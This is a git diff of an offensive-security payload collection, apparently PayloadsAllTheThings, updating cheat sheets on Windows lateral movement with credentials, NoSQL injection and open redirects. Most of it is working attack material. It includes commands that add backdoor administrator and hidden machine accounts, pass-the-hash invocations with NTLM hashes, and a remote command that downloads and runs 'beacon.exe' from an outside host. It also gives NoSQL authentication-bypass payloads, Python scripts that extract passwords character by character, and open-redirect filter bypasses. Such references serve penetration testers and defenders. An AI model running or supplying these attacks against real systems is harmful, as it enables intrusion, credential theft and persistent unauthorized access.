implant/utils/upload_file | Uploads a file from the listening server to the target zombies.
|
||||
|
||||
## References
|
||||
|
||||
- [Pentestlab - koadic](https://pentestlab.blog/tag/koadic/)
|
||||
- [zerosum0x0 Github - koadic](https://github.com/zerosum0x0/koadic)
|
||||
@@ -1,13 +1,53 @@
|
||||
# Windows - Using credentials
|
||||
|
||||
## TIP 1 - Create your credential :D
|
||||
## Summary
|
||||
|
||||
* [TIPS](#tips)
|
||||
* [TIP 1 - Create your credential](#tip-1-create-your-credential)
|
||||
* [TIP 2 - Retail Credential](#tip-2-retail-credential)
|
||||
* [TIP 3 - Sandbox Credential - WDAGUtilityAccount](#tip-3-sandbox-credrential-wdagutilityaccount)
|
||||
* [Metasploit](#metasploit)
|
||||
* [Metasploit - SMB](#metasploit---smb)
|
||||
* [Metasploit - Psexec](#metasploit---psexec)
|
||||
* [Remote Code Execution with PS Credentials](#remote-code-execution-with-ps-credentials)
|
||||
* [WinRM](#winrm)
|
||||
* [Powershell Remoting](#powershell-remoting)
|
||||
* [Crackmapexec](#crackmapexec)
|
||||
* [Winexe](#winexe)
|
||||
* [WMI](#wmi)
|
||||
* [Psexec.py / Smbexec.py / Wmiexec.py](#psexecpy--smbexecpy--wmiexecpy)
|
||||
* [PsExec - Sysinternal](#psexec-sysinternal)
|
||||
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
|
||||
* [Netuse](#netuse)
|
||||
* [Runas](#runas)
|
||||
* [Pass the Ticket](#pass-the-ticket)
|
||||
* [SSH](#ssh)
|
||||
|
||||
## TIPS
|
||||
|
||||
### TIP 1 - Create your credential
|
||||
|
||||
```powershell
|
||||
net user hacker hacker1234* /add
|
||||
net user hacker Hcker_12345678* /add /Y
|
||||
net localgroup administrators hacker /add
|
||||
net localgroup "Remote Desktop Users" hacker /add # RDP access
|
||||
net localgroup "Backup Operators" hacker /add # Full access to files
|
||||
net group "Domain Admins" hacker /add /domain
|
||||
|
||||
# enable a domain user account
|
||||
net user hacker /ACTIVE:YES /domain
|
||||
|
||||
# prevent users from changing their password
|
||||
net user username /Passwordchg:No
|
||||
|
||||
# prevent the password to expire
|
||||
net user hacker /Expires:Never
|
||||
|
||||
# create a machine account (not shown in net users)
|
||||
net user /add evilbob$ evilpassword
|
||||
|
||||
# homoglyph Aԁmіnistratοr (different of Administrator)
|
||||
Aԁmіnistratοr
|
||||
```
|
||||
|
||||
Some info about your user
|
||||
@@ -17,7 +57,9 @@ net user /dom
|
||||
net user /domain
|
||||
```
|
||||
|
||||
## TIP 2 - Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
|
||||
### TIP 2 - Retail Credential
|
||||
|
||||
Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
|
||||
|
||||
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
|
||||
|
||||
@@ -26,7 +68,9 @@ Username: RetailAdmin
|
||||
Password: trs10
|
||||
```
|
||||
|
||||
## TIP - Sandbox Credential - WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
|
||||
### TIP 3 - Sandbox Credential - WDAGUtilityAccount
|
||||
|
||||
WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
|
||||
|
||||
Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
|
||||
|
||||
@@ -37,7 +81,9 @@ Password: pw123
|
||||
```
|
||||
|
||||
|
||||
## Metasploit - SMB
|
||||
## Metasploit
|
||||
|
||||
### Metasploit - SMB
|
||||
|
||||
```c
|
||||
use auxiliary/scanner/smb/smb_login
|
||||
@@ -49,7 +95,7 @@ run
|
||||
creds
|
||||
```
|
||||
|
||||
## Metasploit - Psexec
|
||||
### Metasploit - Psexec
|
||||
|
||||
Note: the password can be replaced by a hash to execute a `pass the hash` attack.
|
||||
|
||||
@@ -58,105 +104,235 @@ use exploit/windows/smb/psexec
|
||||
set RHOST 10.2.0.3
|
||||
set SMBUser username
|
||||
set SMBPass password
|
||||
set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
|
||||
set PAYLOAD windows/meterpreter/bind_tcp
|
||||
run
|
||||
shell
|
||||
```
|
||||
|
||||
## Crackmapexec (Integrated to Kali)
|
||||
|
||||
```python
|
||||
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
|
||||
python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
|
||||
python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
|
||||
```
|
||||
|
||||
## Crackmapexec (Pass The Hash)
|
||||
## Crackmapexec
|
||||
|
||||
```powershell
|
||||
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
|
||||
root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github
|
||||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -x 'whoami' # cmd
|
||||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -X 'whoami' # powershell
|
||||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method atexec -x 'whoami'
|
||||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method wmiexec -x 'whoami'
|
||||
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -x 'whoami'
|
||||
```
|
||||
|
||||
## Winexe (Integrated to Kali)
|
||||
## Remote Code Execution with PS Credentials
|
||||
|
||||
```python
|
||||
winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
|
||||
```powershell
|
||||
PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
|
||||
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
|
||||
PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
|
||||
PS C:\> New-PSSESSION -NAME PSDC -ComputerName COMPUTER01; Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {whoami}
|
||||
PS C:\> Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {powershell Invoke-WebRequest -Uri 'http://10.10.10.10/beacon.exe' -OutFile 'C:\Temp\beacon.exe'; Start-Process -wait C:\Temp\beacon.exe}
|
||||
```
|
||||
|
||||
## Psexec.py / Smbexec.py / Wmiexec.py (Impacket)
|
||||
## WinRM
|
||||
|
||||
```python
|
||||
git clone https://github.com/CoreSecurity/impacket.git
|
||||
python psexec.py DOMAIN/username:password@10.10.10.10
|
||||
python smbexec.py DOMAIN/username:password@10.10.10.10
|
||||
python wmiexec.py DOMAIN/username:password@10.10.10.10
|
||||
Require:
|
||||
* Port **5985** or **5986** open.
|
||||
* Default endpoint is **/wsman**
|
||||
|
||||
```powershell
|
||||
root@payload$ git clone https://github.com/Hackplayers/evil-winrm
|
||||
root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
|
||||
root@payload$ ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
|
||||
root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -H BD1C6503987F8FF006296118F359FA79
|
||||
root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -p password -r domain.local
|
||||
|
||||
*Evil-WinRM* PS > Bypass-4MSI
|
||||
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))
|
||||
```
|
||||
|
||||
or using a custom ruby code to interact with the WinRM service.
|
||||
|
||||
```ruby
|
||||
require 'winrm'
|
||||
|
||||
conn = WinRM::Connection.new(
|
||||
endpoint: 'http://ip:5985/wsman',
|
||||
user: 'domain/user',
|
||||
password: 'password',
|
||||
)
|
||||
|
||||
command=""
|
||||
conn.shell(:powershell) do |shell|
|
||||
until command == "exit\n" do
|
||||
print "PS > "
|
||||
command = gets
|
||||
output = shell.run(command) do |stdout, stderr|
|
||||
STDOUT.print stdout
|
||||
STDERR.print stderr
|
||||
end
|
||||
end
|
||||
puts "Exiting with code #{output.exitcode}"
|
||||
end
|
||||
```
|
||||
|
||||
|
||||
## Powershell Remoting
|
||||
|
||||
> PSSESSION
|
||||
|
||||
```powershell
|
||||
PS> Enable-PSRemoting
|
||||
|
||||
# use credential
|
||||
PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
|
||||
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)
|
||||
PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
|
||||
|
||||
# one-to-one interactive session
|
||||
PS> Enter-PSSession -computerName DC01
|
||||
[DC01]: PS>
|
||||
|
||||
# one-to-one execute scripts and commands
|
||||
PS> $Session = New-PSSession -ComputerName CLIENT1
|
||||
PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
|
||||
PS> Invoke-Command -Session $Session -scriptBlock { $test }
|
||||
1
|
||||
|
||||
# one-to-many execute scripts and commands
|
||||
PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
|
||||
PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
|
||||
```
|
||||
|
||||
|
||||
## Winexe
|
||||
|
||||
Integrated to Kali
|
||||
|
||||
```powershell
|
||||
root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
|
||||
```
|
||||
|
||||
## WMI
|
||||
|
||||
```powershell
|
||||
PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
|
||||
```
|
||||
|
||||
## Psexec.py / Smbexec.py / Wmiexec.py
|
||||
|
||||
From [Impacket](https://github.com/SecureAuthCorp/impacket) (:warning: renamed to impacket-xxx in Kali)
|
||||
:warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`.
|
||||
:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this.
|
||||
|
||||
```powershell
|
||||
root@payload$ git clone https://github.com/CoreSecurity/impacket.git
|
||||
|
||||
# PSEXEC like functionality example using RemComSv
|
||||
root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10
|
||||
# this will drop a binary on the disk = noisy
|
||||
|
||||
# A similar approach to PSEXEC w/o using RemComSvc
|
||||
root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10
|
||||
|
||||
# A semi-interactive shell, used through Windows Management Instrumentation.
|
||||
root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10
|
||||
root@payload$ wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
|
||||
|
||||
# A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints.
|
||||
root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10
|
||||
|
||||
# Executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
|
||||
root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10
|
||||
```
|
||||
|
||||
## PsExec - Sysinternal
|
||||
|
||||
from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
|
||||
|
||||
```powershell
|
||||
PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
|
||||
|
||||
# psexec.exe -s cmd
|
||||
# switch admin user to NT Authority/System
|
||||
PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s
|
||||
```
|
||||
|
||||
## RDP Remote Desktop Protocol (Impacket)
|
||||
## RDP Remote Desktop Protocol
|
||||
|
||||
:warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors.
|
||||
|
||||
```powershell
|
||||
python rdpcheck.py DOMAIN/username:password@10.10.10.10
|
||||
rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
|
||||
rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
|
||||
# -g : the screen will take up 70% of your actual screen size
|
||||
# -r disk:share : sharing a local folder during a remote desktop session
|
||||
# Enable RDP
|
||||
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
|
||||
PS C:\> netsh firewall set service remoteadmin enable
|
||||
PS C:\> netsh firewall set service remotedesktop enable
|
||||
# Alternative
|
||||
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
|
||||
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
|
||||
|
||||
# Fix CredSSP errors
|
||||
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||||
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
|
||||
|
||||
# Disable NLA
|
||||
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
|
||||
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
|
||||
```
|
||||
|
||||
Note: you may need to enable it with the following command
|
||||
Abuse RDP protocol to execute commands remotely with the following commands;
|
||||
|
||||
* `rdesktop`
|
||||
```powershell
|
||||
root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
|
||||
root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10
|
||||
# -g : the screen will take up 70% of your actual screen size
|
||||
# -r disk:share : sharing a local folder during a remote desktop session
|
||||
```
|
||||
* `freerdp`
|
||||
```powershell
|
||||
root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
|
||||
root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked
|
||||
|
||||
# pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
|
||||
# pass the hash works for Server 2012 R2 / Win 8.1+
|
||||
# require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
|
||||
root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
|
||||
```
|
||||
* [SharpRDP](https://github.com/0xthirteen/SharpRDP)
|
||||
```powershell
|
||||
PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
|
||||
```
|
||||
|
||||
|
||||
## Netuse
|
||||
|
||||
Windows only
|
||||
|
||||
```powershell
|
||||
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
|
||||
netsh firewall set service remoteadmin enable
|
||||
netsh firewall set service remotedesktop enable
|
||||
PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$
|
||||
```
|
||||
|
||||
or with psexec(sysinternals)
|
||||
## Runas
|
||||
|
||||
```powershell
|
||||
psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
|
||||
PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
|
||||
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
|
||||
```
|
||||
|
||||
or with crackmapexec
|
||||
## Pass the Ticket
|
||||
|
||||
```powershell
|
||||
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
|
||||
python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
|
||||
[*] Saving ticket in user.ccache
|
||||
cp user.ccache /tmp/krb5cc_0
|
||||
export KRB5CCNAME=/tmp/krb5cc_0
|
||||
klist
|
||||
```
|
||||
|
||||
or with Metasploit
|
||||
## SSH
|
||||
|
||||
```powershell
|
||||
run getgui -u admin -p 1234
|
||||
```
|
||||
:warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!)
|
||||
|
||||
Then log in using xfreerdp
|
||||
|
||||
```powershell
|
||||
xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
|
||||
xfreerd /u:runner /v:10.0.0.1 # password will be asked
|
||||
```
|
||||
|
||||
|
||||
## Netuse (Windows)
|
||||
|
||||
```powershell
|
||||
net use \\ordws01.cscou.lab /user:DOMAIN\username password
|
||||
C$
|
||||
```
|
||||
|
||||
## Runas (Windows - Kerberos auth)
|
||||
|
||||
```powershell
|
||||
runas /netonly /user:DOMAIN\username "cmd.exe"
|
||||
```
|
||||
|
||||
## PsExec (Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) )
|
||||
|
||||
```powershell
|
||||
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
|
||||
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell
|
||||
```ps1
|
||||
cp user.ccache /tmp/krb5cc_1045
|
||||
ssh -o GSSAPIAuthentication=yes user@domain.local -vv
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
@@ -14,6 +14,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
||||
'%20%26%26%20this.password.match(/.*/)//+%00
|
||||
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
||||
{$gt: ''}
|
||||
{"$gt": ""}
|
||||
[$ne]=1
|
||||
';sleep(5000);
|
||||
';sleep(5000);'
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Exploit](exploits)
|
||||
* [Exploit](#exploits)
|
||||
* [Authentication Bypass](#authentication-bypass)
|
||||
* [Extract length information](#extract-length-information)
|
||||
* [Extract data information](#extract-data-information)
|
||||
@@ -18,6 +18,7 @@
|
||||
## Tools
|
||||
|
||||
* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap)
|
||||
* [nosqlilab - A lab for playing with NoSQL Injection](https://github.com/digininja/nosqlilab)
|
||||
|
||||
## Exploit
|
||||
|
||||
@@ -26,8 +27,11 @@
|
||||
Basic authentication bypass using not equal ($ne) or greater ($gt)
|
||||
|
||||
```json
|
||||
in URL
|
||||
in DATA
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
login[$regex]=a.*&pass[$ne]=lol
|
||||
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
|
||||
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
|
||||
|
||||
in JSON
|
||||
{"username": {"$ne": null}, "password": {"$ne": null}}
|
||||
@@ -88,8 +92,32 @@ while True:
|
||||
for c in string.printable:
|
||||
if c not in ['*','+','.','?','|']:
|
||||
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
|
||||
r = requests.post(u, data = payload, headers = headers, verify = False)
|
||||
if 'OK' in r.text:
|
||||
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
|
||||
if 'OK' in r.text or r.status_code == 302:
|
||||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
|
||||
### POST with urlencoded body
|
||||
|
||||
```python
|
||||
import requests
|
||||
import urllib3
|
||||
import string
|
||||
import urllib
|
||||
urllib3.disable_warnings()
|
||||
|
||||
username="admin"
|
||||
password=""
|
||||
u="http://example.org/login"
|
||||
headers={'content-type': 'application/x-www-form-urlencoded'}
|
||||
|
||||
while True:
|
||||
for c in string.printable:
|
||||
if c not in ['*','+','.','?','|','&','$']:
|
||||
payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
|
||||
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
|
||||
if r.status_code == 302 and r.headers['Location'] == '/dashboard':
|
||||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
@@ -142,6 +170,6 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
||||
## References
|
||||
|
||||
* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
|
||||
* [Testing for NoSQL injection - OWASP](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)
|
||||
* [Testing for NoSQL injection - OWASP/WSTG](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)
|
||||
* [NoSQL injection wordlists - cr0hn](https://github.com/cr0hn/nosqlinjection_wordlists)
|
||||
* [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon](https://zanon.io/posts/nosql-injection-in-mongodb)
|
||||
|
||||
@@ -233,3 +233,8 @@ ja\nva\tscript\r:alert(1)
|
||||
\152\141\166\141\163\143\162\151\160\164\072alert(1)
|
||||
http://google.com:80#@www.whitelisteddomain.tld/
|
||||
http://google.com:80?@www.whitelisteddomain.tld/
|
||||
http://google.com\www.whitelisteddomain.tld
|
||||
http://google.com&www.whitelisteddomain.tld
|
||||
http:///////////google.com
|
||||
\\google.com
|
||||
http://www.whitelisteddomain.tld.google.com
|
||||
|
||||
@@ -21,7 +21,7 @@ https://famous-website.tld/signup?redirectUrl=https://famous-website.tld/account
|
||||
After signing up you get redirected to your account, this redirection is specified by the `redirectUrl` parameter in the URL.
|
||||
What happens if we change the `famous-website.tld/account` to `evil-website.tld`?
|
||||
|
||||
```powerhshell
|
||||
```powershell
|
||||
https://famous-website.tld/signup?redirectUrl=https://evil-website.tld/account
|
||||
```
|
||||
|
||||
@@ -63,10 +63,11 @@ Using CRLF to bypass "javascript" blacklisted keyword
|
||||
java%0d%0ascript%0d%0a:alert(0)
|
||||
```
|
||||
|
||||
Using "//" to bypass "http" blacklisted keyword
|
||||
Using "//" & "////" to bypass "http" blacklisted keyword
|
||||
|
||||
```powershell
|
||||
//google.com
|
||||
////google.com
|
||||
```
|
||||
|
||||
Using "https:" to bypass "//" blacklisted keyword
|
||||
@@ -114,6 +115,20 @@ http://www.yoursite.com/http://www.theirsite.com/
|
||||
http://www.yoursite.com/folder/www.folder.com
|
||||
```
|
||||
|
||||
Using "?" characted, browser will translate it to "/?"
|
||||
|
||||
```powershell
|
||||
http://www.yoursite.com?http://www.theirsite.com/
|
||||
http://www.yoursite.com?folder/www.folder.com
|
||||
```
|
||||
|
||||
|
||||
Host/Split Unicode Normalization
|
||||
```powershell
|
||||
https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
|
||||
http://a.com/X.b.com
|
||||
```
|
||||
|
||||
XSS from Open URL - If it's in a JS variable
|
||||
|
||||
```powershell
|
||||
@@ -170,3 +185,5 @@ http://www.example.com/redirect.php?url=javascript:prompt(1)
|
||||
* [Cujanovic - Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
* [Pentester Land - Open Redirect Cheat Sheet](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
* [Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7](https://s0cket7.com/open-redirect-vulnerability/)
|
||||
* [Host/Split
|
||||
Exploitable Antipatterns in Unicode Normalization - BlackHat US 2019](https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf)
|
||||
|
||||
48
README.md
@@ -1,16 +1,22 @@
|
||||
# Payloads All The Things
|
||||
# Payloads All The Things [](https://twitter.com/intent/tweet?text=Payloads%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Web%20Application%20Security%20-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/PayloadsAllTheThings/)
|
||||
|
||||
A list of useful payloads and bypasses for Web Application Security.
|
||||
Feel free to improve with your payloads and techniques !
|
||||
I :heart: pull requests :)
|
||||
|
||||
You can also contribute with a :beers: IRL or with `buymeacoffee.com`
|
||||
You can also contribute with a :beers: IRL, or using the sponsor button.
|
||||
|
||||
[](https://buymeacoff.ee/swissky)
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/.github/banner.png">
|
||||
</p>
|
||||
|
||||
|
||||
📖 Documentation
|
||||
-----
|
||||
Every section contains the following files, you can use the `_template_vuln` folder to create a new chapter:
|
||||
|
||||
- README.md - vulnerability description and how to exploit it
|
||||
- README.md - vulnerability description and how to exploit it, including several payloads
|
||||
- Intruder - a set of files to give to Burp Intruder
|
||||
- Images - pictures for the README.md
|
||||
- Files - some files referenced in the README.md
|
||||
@@ -19,6 +25,9 @@ You might also like the `Methodology and Resources` folder :
|
||||
|
||||
- [Methodology and Resources](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/)
|
||||
- [Active Directory Attack.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md)
|
||||
- [Cloud - AWS Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md)
|
||||
- [Cloud - Azure Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md)
|
||||
- [Cobalt Strike - Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet.md)
|
||||
- [Linux - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md)
|
||||
- [Linux - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)
|
||||
- [Metasploit - Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md)
|
||||
@@ -33,23 +42,20 @@ You might also like the `Methodology and Resources` folder :
|
||||
- [Windows - Post Exploitation Koadic.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Post%20Exploitation%20Koadic.md)
|
||||
- [Windows - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||||
- [Windows - Using credentials.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md)
|
||||
|
||||
- [CVE Exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits)
|
||||
- Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
|
||||
- Apache Struts 2 CVE-2017-5638.py
|
||||
- Apache Struts 2 CVE-2017-9805.py
|
||||
- Apache Struts 2 CVE-2018-11776.py
|
||||
- Docker API RCE.py
|
||||
- Drupalgeddon2 CVE-2018-7600.rb
|
||||
- Heartbleed CVE-2014-0160.py
|
||||
- JBoss CVE-2015-7501.py
|
||||
- Jenkins CVE-2015-8103.py
|
||||
- Jenkins CVE-2016-0792.py
|
||||
- Shellshock CVE-2014-6271.py
|
||||
- Tomcat CVE-2017-12617.py
|
||||
- WebLogic CVE-2016-3510.py
|
||||
- WebLogic CVE-2017-10271.py
|
||||
- WebLogic CVE-2018-2894.py
|
||||
- WebSphere CVE-2015-7450.py
|
||||
|
||||
|
||||
You want more ? Check the [Books](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/BOOKS.md) and [Youtube videos](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/YOUTUBE.md) selections.
|
||||
|
||||
|
||||
👨💻 Contributions
|
||||
-----
|
||||
Be sure to read [CONTRIBUTING.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CONTRIBUTING.md)
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=swisskyrepo/PayloadsAllTheThings&max=36">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
Thanks again for your contribution! :heart:
|
||||
80
Race Condition/README.md
Normal file
@@ -0,0 +1,80 @@
|
||||
# Race Condition
|
||||
|
||||
> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
